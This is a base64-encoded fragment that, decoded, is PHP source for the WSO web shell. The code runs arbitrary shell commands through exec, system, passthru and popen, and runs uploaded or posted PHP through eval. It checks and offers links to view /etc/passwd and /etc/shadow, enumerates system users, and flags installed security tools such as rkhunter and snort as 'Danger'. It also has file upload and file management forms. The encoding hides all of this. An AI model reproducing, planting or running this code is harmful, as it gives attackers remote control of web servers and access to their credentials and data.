IC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAo
Jy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9s
aW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMg
b25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcs
XCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nDQog
ICAgICAgLiAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0i
ZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0i
UGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwvc2VsZWN0Pjxi
cj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJd
IC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9B
RERSJ10gLiAnPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicNCiAgICAgICAuICc8dGFibGUgc3R5
bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7IiBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5n
PTAgd2lkdGg9MTAwJT48dHI+JyAuICRtZW51IC4gJzwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJt
YXJnaW46NSI+JzsNCn0NCg0KZnVuY3Rpb24gd3NvRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9
IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nZ3JlZW4nPihXcml0
ZWFibGUpPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsN
CiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBh
ZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBz
b2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz4NCgk8dHI+DQoJCTx0ZD48
Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48
c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10
ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAu
Iic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9y
bSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFs
c2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcg
dHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90
ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGws
J21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3Nw
YW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1l
PWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9y
bSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTty
ZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlu
cHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0
PVwiZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5F
eGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9
YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJ
PHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJ
CTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCgkJPGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9
aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/
JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4k
aXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48
aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4NCgk8L3RyPjwv
dGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygi
cG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucydd
LCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3
dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dl
dGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4
X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkg
e3JldHVybiBmYWxzZTt9IH0NCg0KZnVuY3Rpb24gd3NvRXgoJGluKSB7DQoJJG91dCA9ICcnOw0K
CWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQlAZXhlYygkaW4sJG91dCk7DQoJCSRv
dXQgPSBAam9pbigiXG4iLCRvdXQpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0
aHJ1JykpIHsNCgkJb2Jfc3RhcnQoKTsNCgkJQHBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9n
ZXRfY2xlYW4oKTsNCgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KCQlv
Yl9zdGFydCgpOw0KCQlAc3lzdGVtKCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCgl9
IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCgkJJG91dCA9IHNoZWxs
X2V4ZWMoJGluKTsNCgl9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikp
KSB7DQoJCSRvdXQgPSAiIjsNCgkJd2hpbGUoIUBmZW9mKCRmKSkNCgkJCSRvdXQgLj0gZnJlYWQo
JGYsMTAyNCk7DQoJCXBjbG9zZSgkZik7DQoJfQ0KCXJldHVybiAkb3V0Ow0KfQ0KDQpmdW5jdGlv
biB3c29WaWV3U2l6ZSgkcykgew0KCWlmKCRzID49IDEwNzM3NDE4MjQpDQoJCXJldHVybiBzcHJp
bnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCgllbHNlaWYoJHMgPj0gMTA0
ODU3NikNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsN
CgllbHNlaWYoJHMgPj0gMTAyNCkNCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0
ICkgLiAnIEtCJzsNCgllbHNlDQoJCXJldHVybiAkcyAuICcgQic7DQp9DQoNCmZ1bmN0aW9uIHdz
b1Blcm1zKCRwKSB7DQoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KCWVs
c2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQoJZWxzZWlmICgoJHAgJiAw
eDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCgllbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2
MDAwKSRpID0gJ2InOw0KCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7
DQoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCgllbHNlaWYgKCgk
cCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KCWVsc2UgJGkgPSAndSc7DQoJJGkgLj0g
KCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cn
IDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDog
J3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAw
MjApID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJ
JGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgk
cCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6
ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAg
JiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDAp
ID8gJ1QnIDogJy0nKSk7DQoJcmV0dXJuICRpOw0KfQ0KDQpmdW5jdGlvbiB3c29QZXJtc0NvbG9y
KCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNG
RjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlaWYg
KCFAaXNfd3JpdGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29Q
ZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZQ0KCQlyZXR1cm4gJzxmb250
IGNvbG9yPSMyNWZmMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsN
Cn0NCg0KZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3Rz
KCJzY2FuZGlyIikpIHsNCiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7DQogICAgfSBlbHNl
IHsNCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgIHdoaWxlIChmYWxzZSAh
PT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQogICAgICAgICAgICAkZmlsZXNbXSA9ICRm
aWxlbmFtZTsNCiAgICAgICAgcmV0dXJuICRmaWxlczsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIHdz
b1doaWNoKCRwKSB7DQoJJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHko
JHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBh
Y3Rpb25TZWNJbmZvKCkgew0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJp
dHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWZ1bmN0aW9uIHdzb1Nl
Y1BhcmFtKCRuLCAkdikgew0KCQkkdiA9IHRyaW0oJHYpOw0KCQlpZigkdikgew0KCQkJZWNobyAn
PHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7DQoJCQlpZihzdHJwb3MoJHYsICJcbiIpID09PSBm
YWxzZSkNCgkJCQllY2hvICR2IC4gJzxicj4nOw0KCQkJZWxzZQ0KCQkJCWVjaG8gJzxwcmUgY2xh
c3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOw0KCQl9DQoJfQ0KDQoJd3NvU2VjUGFyYW0oJ1NlcnZl
ciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlv
bl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICB3c29TZWNQYXJhbSgnTG9h
ZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkp
Ow0KCXdzb1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ2Rpc2Fi
bGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ106J25vbmUnKTsNCgl3
c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJ
d3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhl
Y19kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0
KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQoJd3NvU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcs
IGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1w
PWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkN
CgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYo
ZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0K
CWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVT
UUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJP
cmFjbGUiOw0KCXdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAn
LCAkdGVtcCkpOw0KCWVjaG8gJzxicj4nOw0KDQoJaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcp
IHsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19y
ZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxl
c1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iOidubycpOw0KICAg
ICAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxl
KCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNc
IiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiI6J25vJyk7DQogICAgICAgICAg
ICB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVy
c2lvbicpKTsNCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0
X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1sn
c2FmZV9tb2RlJ10pIHsNCiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCds
Y2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywn
Z3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAg
ICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2Nhbics
J3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMn
LCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2Vj
JywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21h
c2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsNCiAgICAgICAgICAg
ICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywn
Y3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsN
CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2gg
KCR1c2VyZnVsIGFzICRpdGVtKQ0KICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRl
bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAg
ICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAg
ICAgICAgICAgICAkdGVtcD1hcnJheSgpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5n
ZXIgYXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAg
ICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3
c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7DQogICAgICAgICAgICAg
ICAgJHRlbXA9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMg
YXMgJGl0ZW0pDQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkNCiAgICAg
ICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCiAgICAgICAgICAgICAgICB3c29T
ZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCiAgICAgICAgICAg
ICAgICBlY2hvICc8YnIvPic7DQogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFj
ZScsIHdzb0V4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMn
LCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7DQogICAgICAgICAgICAgICAgZWNo
byAnPGJyLz48c3Bhbj5wb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48
dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUs
dGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48
aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88
L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3Ry
PjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAg
ICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRfUE9TVFsncDMnXSkgJiYgaXNfbnVt
ZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMyddKSkgew0KICAgICAg
ICAgICAgICAgICAgICAkdGVtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmb3IoOyRfUE9T
VFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgIGlmICgkdWlkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0
ZW1wIC49IGpvaW4oJzonLCR1aWQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICB3c29TZWNQ
YXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0K
CX0gZWxzZSB7DQoJCXdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOw0KCQl3
c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsd3NvRXgoJ25ldCBhY2NvdW50cycpKTsNCgkJ
d3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNo
byAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uUGhwKCkgew0K
CWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1KCRf
U0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQll
dmFsKCRfUE9TVFsncDEnXSk7DQoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQ
aHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBP
dXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dl
dF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1w
KSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCdd
KSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NF
UlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsNCg0KCXdzb0hlYWRlcigpOw0KCWlmKGlz
c2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8g
JzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAw
MDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9n
ZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJheSAoDQogICAgICAg
ICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLA0KICAg
ICAgICAgICAgJyF0ZCwgdGggeyguKil9IW1zaVUnLA0KICAgICAgICAgICAgJyE8aW1nW14+XSs+
IW1zaVUnLA0KICAgICAgICApLCBhcnJheSAoDQogICAgICAgICAgICAnJywNCiAgICAgICAgICAg
ICcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywNCiAgICAgICAgICAgICcnDQogICAgICAgICksICR0
bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4n
Ow0KCX0NCiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNv
bnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNo
ZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51
bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1j
b2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1s
c3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1
Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsNCgllY2hvICcgPGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9DT09LSUVbbWQ1KCRfU0VSVkVS
WydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwv
Zm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlz
cGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0
eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsN
CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9w
cmU+PC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4o
KSB7DQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydm
J10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7DQogICAgDQoJaWYoIWVtcHR5KCRfUE9T
